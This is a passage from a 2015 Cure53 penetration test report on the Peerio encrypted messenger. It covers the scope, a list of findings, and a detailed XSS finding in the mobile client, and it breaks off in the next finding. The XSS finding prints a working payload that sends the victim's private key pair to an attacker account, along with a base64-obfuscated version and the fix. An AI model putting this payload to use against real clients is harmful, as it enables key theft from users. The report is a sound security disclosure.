Penetration Test Report (Cure53): pentest report peerio

Pentest-Report Peerio 07 - 09.2015
Cure53, J. Horn, A. Inführ, F. Fäßler, Dr. J. Magazinius, Dipl.-Ing. A. Aranguren
Index
Introduction
Scope
Identified Vulnerabilities
PT -02-001 Clien t : XSS via Escape from String in JavaScrip t Eva l ( High )
PT -02-002 Server : Server can modify user - visible participan t lis t ( Low )
PT -02-003 U I : No t showing usernames reduces security ( Low )
PT -02-004 Clien t : iOS app data leakage via Background Screenshots ( Medium )
PT -02-008 Clien t : Files are no t encrypted on the clien t - side ( Medium )
PT -02-009 Clien t : Messages no t properly bound to origina l Message ( High )
PT -02-010 Server : belongsToUser () Function no t working properly ( Medium )
PT -03-001 Cooperating Participan t and Server can create fake Receipts ( Low )
PT -03-002 Denia l o f Service using invalid JSON Structures ( Medium )
PT -03-004 PeerioServer . helpers . security . hostnameAllowed is bypassable ( Low )
PT -03-005 Denia l o f Service using bad Base 64 encoding ( Medium )
PT -03-006 Denia l o f Service using bad JSON encoding ( Medium )
Miscellaneous Issues
PT -02-005 Clien t : iOS App Data stored on Mobile Device in Clear - Tex t ( Low )
PT -02-006 Clien t : Unsafe Method Usage and Genera l iOS App Weaknesses ( Info )
PT -02-007 Clien t : iOS logic bug migh t ignore SSL warnings for downloads ( Info )
PT -02-011 Server : Arbitrary Emails disabled from receiving Peerio Invites ( Medium )
PT -03-003 Restricted admin interface performs no hos t header validation ( Low )
Conclusion
Introduction
“Message contacts and share files simply and securely with Peerio. Live search brings
your messages, files, and contacts on demand. Our worldwide cloud and mobile support
let you work anywhere, while end-to-end encryption keeps your data safe everywhere.”
From Peerio Chrome Extension
The penetration tests and code audits against several parts of the Peerio software
compound took an overall of 16 days, which were split into two rounds of testing thus far.
The assessments engaged five testers of the Cure53 team who were tasked with
coverage of different parts of the tested scope. This report describes the first two of the
envisioned three to four different rounds of testing. In this regard it can only be seen as
an interim document, which will however become a substantial component of the future
1/16
aggregated document reporting a full range of findings over time. As such the final
documentation will appear when all stages of testing are complete.
During the first round of testing (for which the discovered issues are labeled with the ID
PT-02-00X throughout this report), Peerio presented itself as definitely robust and
standing strong against a large amount of threats. The code is not only clean and well-
readable, but its proper organization means certain ease for an audit process. Cure53
was not able to discover a critical issue at that time, although the vulnerability described
in PT -02-001 should be noted as coming close to that classification. To specify further,
the only aspect that kept the aforementioned issue from being classified with the highest
possible ranking of criticality was a bug that prevented the exploit from working. Upon
that bug being fixed, the exploit would have been successful and the issue would lead to
a capacity of extracting and exfiltrating private key material. It is urgently recommended
to strengthen the employed CSP rules1 in order to ensure that narrowly escaping
incidents like this cannot endanger the user security in the future.
The second round of testing resulted in an impression that supports the initial
assessment of Peerio being secure, sturdy and developed with security in mind. The
only vulnerabilities that were identified allowed an attacker to cause a persistent denial
of service for other Peerio users. This was simply done by sending messages across the
wire while making use of purposefully malformed JSON literals. As a result exceptions
were thrown and the software stopped responding until the offensive messages were
deleted. Among other issues reported in the second stage were some problems allowing
for theoretical bypasses of IP whitelists. The issues could potentially lead to gaining
access to administrative areas. None of the issues were considered critical, nor has an
issue received a “High” mark, which constitutes an uncommon and praiseworthy result.
Note: All security issues identified and discussed in this document were addressed by
the Peerio development team between September 2015 and December 2015. All
deployed fixes were reviewed and verified by the Cure53 Team. The fix reviews were
finished in December 2015.
Scope
• Round One:
◦ Peerio Server
◦ Peerio Mobile Client
• Round Two:
◦ Peerio Client API
◦ Peerio Admin Interface
1 https :// developer . mozilla . org / en - US / docs / Web / Security /CSP
2/16
Identified Vulnerabilities
The following sections list both vulnerabilities and implementation issues spotted during
the testing period. Note that findings are listed in a chronological order rather than by
their degree of severity and impact. The aforementioned severity rank is simply given in
brackets following the title heading for each vulnerability. Each vulnerability is
additionally given a unique identifier (e.g. PT-02-001, PT-03-001) for the purpose of
facilitating any future follow-up correspondence.
PT-02-001 Client: XSS via Escape from String in JavaScript Eval (High)
The code in the file peerio-client-mobile/jsx/conversation.jsx assigns JavaScript events
to anchors in an unsafe manner. This appears to be done for the sake of allowing
opening links in the browser. The code show below illustrates how this is achieved:
autolinker: new Autolinker({
twitter: false,
replaceFn: function (autolinker, match) {
var tag = autolinker.getTagBuilder().build(match);
tag.setAttr('onclick', "javascript:Peerio.NativeAPI.openInBrowser('" +
match.getAnchorHref() + "');event.preventDefault()");
tag.setAttr('href', '#');
return tag;
}
})
Autolinker allows single quotes in URL parameters, meaning that XSS is possible by
means of sending a message containing a crafted link as shown below. Note that the
victim has to click the link to activate the payload:
https://cure53.de/?asdf=',alert('
This could e.g. be exploited by sending a link containing this JS payload:
Peerio.Data.sendNewMessage(['attacker_username'],'privkey',JSON.stringify(Peerio
.user.keyPair),[])
To permit the use of special characters and obfuscate the attack, the attacker can for
instance dedicate his or efforts to base64-encoding the payload, then hiding it among
“garbage”:
https://cure53.de/?
asdf=q0NwqwKJ8W0ODPvqnWY0RuOTMBJxKH4BAMiDbBxs8D3wryZXnQ'+eval(atob('UGVlcmlvLkRh
dGEuc2VuZE5ld01lc3NhZ2UoWydhdHRhY2tlcl91c2VybmFtZSddLCdwcml2a2V5JyxKU09OLnN0cmlu
Z2lmeShQZWVyaW8udXNlci5rZXlQYWlyKSxbXSkg'))
+'nPxHoLg5PqgyW66RFnWG6UrpRcPN+q1p0O42vbMLdqn1eTgNTyVtdhlq3IgZAZuqwt+yxemchco
Interestingly this attack does not currently work because invoking window.open() as
Peerio.NativeAPI.openInBrowser() causes an “Illegal Invocation” error. However, it
3/16
should work as soon as that element is fixed. It is recommended to replace the current
code for adding an onclick event handler with something like this:
tag.onclick = function(event) {
Peerio.NativeAPI.openInBrowser(match.getAnchorHref());
event.preventDefault();
}
Furthermore, it is recommended to remove the unsafe-inline and unsafe-eval CSP
rules2, at least for release builds (e.g. by removing them as part of the release build
process). Without those insecure rules in place, the attack would not be feasible.
Note: This issue was fixed by the Peerio team, the fix was verified by Cure53.
PT-02-002 Server: Server can modify user-visible participant list (Low)
When building the participant list to be shown in the UI (specifically in the file
conversation.jsx), the client uses the property conversation.participants, which the
server can control.
However, when messages are actually sent